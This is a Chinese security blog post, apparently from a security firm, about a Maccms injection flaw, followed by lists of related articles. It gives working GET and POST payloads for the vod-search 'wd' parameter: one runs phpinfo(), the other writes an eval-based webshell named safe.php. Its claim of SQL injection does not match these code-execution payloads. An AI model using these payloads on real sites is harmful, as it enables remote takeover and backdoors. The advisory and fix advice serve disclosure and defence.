苹果cms系统,是目前很多电影网站都在使用的一套网站系统,开源,免费,扩展性较好,支持一键采集,伪静态化,高并发的同时承载,获得的很多站长的喜欢,于近日被网站安全检测发现,maccms存在网站漏洞,sql注入盲射获取数据库的管理员账号密码,关于该漏洞的详情,我们仔细分析看下.

maccms漏洞分析与修复

苹果CMS采用的是php语言开发的代码,使用的数据库是mysql类型,这种架构是比较常用的,也是比较稳定的,但是在安全方面出现的问题是比较多的,这次发现的是sql注入漏洞,在网站的根目录下的inc文件里的module目录下的vod.php代码如下图所示:

代码里的empty($wd函数,在进行判断如果是,或者不是的逻辑过程当中,会将前段用户访问带来的参数,进行安全过滤,我们跟进代码来追寻到苹果CMS的配置文件,在function.php配置文件代码李看到对网站的所有请求方式包括get、post、cookies的提交方式都强制性的进行了安全转义。网站漏洞问题的发生就在这里.

我们仔细又发现,maccms使用了360安全提供的防止sql注入拦截代码。360的防止sql注入是好几年前开发,并公开在网络上的,已经很久没有更新维护了并且还存在sql注入代码绕过的情况,参数值之间进行实体转换的时候,360的sql拦截规则没有对空白符以及反斜杠进行拦截,导致可以绕过插入恶意参数,直接请求到苹果cms后端数据库中去,获取苹果CMS的管理员账号密码。

我们来看下如何利用苹果CMS的漏洞,从上面漏洞发生的细节里可以看出,是因为拦截sql注入语句的过程中存在可以被绕过的漏洞。我们来使用%0b,以及空格对代码进行注入,sql语句在拼接中,可以插入反斜杠进行单引号的报错,从而绕过苹果CMS的安全拦截。语句如下:

GET请求:

http://127.0.0.1/index.PHP?m=vod-search&wd={if-A:phpinfo()}{endif-A}

可以直接看php的具体信息

POST请求

可以直接获取webshell

http://127.0.0.1/index.PHP?m=vod-search

POST内容如下:

wd={if-A:print(fputs%28fopen%28_decode%28Yy5waHA%29,w%29,_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

可以直接生成带有一句话木马后门的代码,文件名为safe.php,一句话木马链接密码是safe.

如何修复苹果cms网站漏洞呢?

对网站漏洞的修复我们要知道漏洞产生的原因,以及为何会绕过苹果CMS的安全过滤,maccms使用的addslash安全函数,sql中没有加单引号的安全防护,in字句也很容易忘记加引号,再一个后期处理安全过滤的时候可以插入单引号,stripslash导致可以加入单引号,编解码导致绕过addslash,使用urldecode编码进行注入绕过,根据上面提出的漏洞绕过,我们SINE安全提出漏洞修复的建议是:对URL解码进行双层的转义,对get,post,cookies的拦截规则进行安全更新,加强空格,以及百分符号的拦截,如果对程序代码不熟悉的话建议咨询专业的网站安全公司来处理解决。

苹果cms网站漏洞修复解决办法的更多相关文章

  1. PrestaShop 网站漏洞修复如何修复

    PrestaShop网站的漏洞越来越多,该网站系统是很多外贸网站在使用的一个开源系统,从之前的1.0初始版本到现在的1.7版本,经历了多次的升级,系统使用的人也越来越多,国内使用该系统的外贸公司也很多 ...

  2. 怎么修复网站漏洞 骑士cms的漏洞修复方案

    骑士CMS是国内公司开发的一套开源人才网站系统,使用PHP语言开发以及mysql数据库的架构,2019年1月份被某安全组织检测出漏洞,目前最新版本4.2存在高危网站漏洞,通杀SQL注入漏洞,利用该网站 ...

  3. struts2架构网站漏洞修复详情与利用漏洞修复方案

    struts2从开发出来到现在,很多互联网企业,公司,平台都在使用apache struts2系统来开发网站,以及应用系统,这几年来因为使用较多,被攻击者挖掘出来的struts2漏洞也越来越,从最一开 ...

  4. Drupal 网站漏洞修复以及网站安全防护加固方法

    drupal是目前网站系统使用较多一个开源PHP管理系统,架构使用的是php环境+mysql数据库的环境配置,drupal的代码开发较为严谨,安全性较高,但是再安全的网站系统,也会出现网站漏洞,dru ...

  5. 网站漏洞修复之最新版本UEditor漏洞

    UEditor于近日被曝出高危漏洞,包括目前官方UEditor 1.4.3.3 最新版本,都受到此漏洞的影响,ueditor是百度官方技术团队开发的一套前端编辑器,可以上传图片,写文字,支持自定义的h ...

  6. Struts2/XWork 安全漏洞及解决办法

    exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞. 漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution V ...

  7. 帝国cms更新报错解决办法

    帝国cms更新,经常会报以下的错误: PHP Warning:  array_merge(): Argument #2 is not an array in D:\wwwroot\www.536831 ...

  8. 网站漏洞修复案例之Discuz!3.4最新版本

    Discuz!论坛目前最新版本为3.4版本,已经好久没有更新了,我们SINE安全在对其网站安全检测的同时发现一处漏洞,该漏洞可导致论坛的后台文件可以任意的删除,导致网站瘫痪,后台无法登陆.关于该网站漏 ...

  9. discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用与修复

    2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞 ...

随机推荐

  1. Java学习---Java面试基础考核·

    Java中sleep和wait的区别 ① 这两个方法来自不同的类分别是,sleep来自Thread类,和wait来自Object类. sleep是Thread的静态类方法,谁调用的谁去睡觉,即使在a线 ...

  2. Linux 下LAMP环境搭建_【all】

    LAMP = Linux + Apache + Mysql + PHP 0. Linux环境搭建 Linux 系统安装[Redhat] 1.http服务软件分类及企业实战用途介绍 静态程序: Apac ...

  3. RESTful的理解与设计【PHP】

    RESTful 就是一种软件架构的风格,以资源为中心定位,运用http的请求方式(动词)来划定操作.这样的设定优点简单易理解,方便人员对接,形成规范. 资源作为唯一标识,使用相关动词取获取操作.举例, ...

  4. C#网络编程(二)应用篇

    (一)TcpListen类.TcpClient类 TcpListener类和TcpClient类都是System.Net.Sockets命名空间下的类,利用TcpListener和TcpClient可 ...

  5. 初始python(一)

    一.python特性概要 1. python是解释性脚本语言. 2. python特性总结 2.1 字节码 2.2 动态语义 在赋值是确定数据类型 2.3 缩进(4个空格) 3. python定义编码 ...

  6. Analysis of Algorithms

    算法分析 Introduction 有各种原因要求我们分析算法,像预测算法性能,比较不同算法优劣等,其中很实际的一条原因是为了避免性能错误,要对自己算法的性能有个概念. 科学方法(scientific ...

  7. jquery cookie插件

    jquery-cookie下载地址:http://www.bootcdn.cn/jquery-cookie/ 使用方法: 1.引入jQuery.Cookie.js插件. <script src= ...

  8. JavaScript的DOM_动态加载脚本和样式

    一.动态加载脚本 当网站需求变大,脚本的需求也逐步变大.我们就不得不引入太多的 JS 脚本而降低了整站的性能,所以就出现了动态脚本的概念,在适时的时候加载相应的脚本. 1.动态加载js文件 比如:我们 ...

  9. webkit架构

    简要的说,WebKit由三个模块组成:JavaScriptCore.WebCore 和 WebKit.WebKit作为了整个项目的名称. JavaScriptCore:是JavaScript解释器: ...

  10. 为什么 Category 不能增加成员变量-nonfragile

    三.既然是 non-fragile ivars,为什么 Category 不能增加成员变量?     看过一些资料,理由并不是很让人信服.我觉得并不是做不到,只是现在没有做,现在不支持.我在 Opti ...